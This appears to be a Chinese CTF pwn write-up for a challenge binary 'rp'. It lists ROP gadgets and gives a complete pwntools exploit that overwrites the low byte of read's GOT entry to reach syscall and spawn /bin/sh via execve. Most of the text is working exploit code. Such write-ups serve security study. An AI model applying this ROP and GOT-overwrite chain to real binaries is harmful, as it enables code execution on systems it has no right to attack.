r()p
r()p
buf 和 读完v5后的eax 是用[rsp+18h+buf]实际[rsp+0xc]定位的
利用如下gadget即可
# 控制rax后任意地址写
.text:000000000040115A mov rsi, rax ; buf
.text:000000000040115D mov edx, dword ptr [rsp+18h+buf] ; nbytes
.text:0000000000401161 xor edi, edi ; fd
.text:0000000000401163 mov eax, 0
.text:0000000000401168 call _read
# 控制rax
0x000000000040116d: mov eax, dword ptr [rsp + 0xc]; add rsp, 0x18; ret;
# 控制 rdi
0x0000000000401099: mov edi, 0x404018; jmp rax;
利用mov edi, 0x404018; jmp rax;,给rdi赋值段地址时,可以给rax写入ret指令的地址,可以绕过jmp rax使其成为ret的作用。
然后把got@read
最低字节修改,指向syscall
就能调execve
exp:
#!/usr/bin/python
# -*- coding: UTF-8 -*-
from pickletools import stackslice
from time import sleep
from shutil import move
from pwn import *
context.terminal = ['tmux','splitw','-h']
context.arch='amd64'
#p=remote('127.0.0.1',6666)
binary="./rp"
p=process(binary)
context.log_level='debug'
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('/home/lmy/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so')
elf=ELF(binary)
s = lambda buf: p.send(buf)
sl = lambda buf: p.sendline(buf)
sa = lambda delim, buf: p.sendafter(delim, buf)
sal = lambda delim, buf: p.sendlineafter(delim, buf)
sh = lambda: p.interactive()
r = lambda n=None: p.recv(n)
ra = lambda t=tube.forever:p.recvall(t)
ru = lambda delim: p.recvuntil(delim)
rl = lambda: p.recvline()
rls = lambda n=2**20: p.recvlines(n)
it = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, ''))
uu64 = lambda data :u64(data.ljust(8, ''))
bp = lambda bkp :gdb.attach(p,'b *'+str(bkp))
bp(0x0401126)
pop_rbp=0x040110d
ret=0x0040101a
jmp_rax=0x040109e
rax=0x040116D
read=0x0040115A
edi=0x00401099
pl1=p32(0x100)
s(pl1)
pl2='a'*4+p32(0x404018)+'a'*8+p64(read)#读入/bin/sh
pl2+='a'*0xc+p32(0x8)+'a'*8
pl2+=p64(rax)+'a'*0xc+p32(elf.got['read'])+'a'*8
pl2+=p64(read)+'a'*0xc+p32(0x1)+'a'*8#覆盖got['read']低字节,变成syscall
pl2+=p64(rax)+'a'*0xc+p32(0)+'a'*8#布置rsi=0
pl2+=p64(read)+'a'*0xc+p32(0x0)+'a'*8#布置rdx=0
pl2+=p64(rax)+'a'*0xc+p32(ret)+'a'*8
pl2+=p64(edi)
pl2+=p64(rax)+'a'*0xc+p32(0x3b)+'a'*8+p64(0x401146)#布置rax,然后call read的地址
pl2=pl2.ljust(0x100,'a')
s(pl2)
s('/bin/sh\x00')
s('\x30')#覆盖got['read']低字节,变成syscall
it()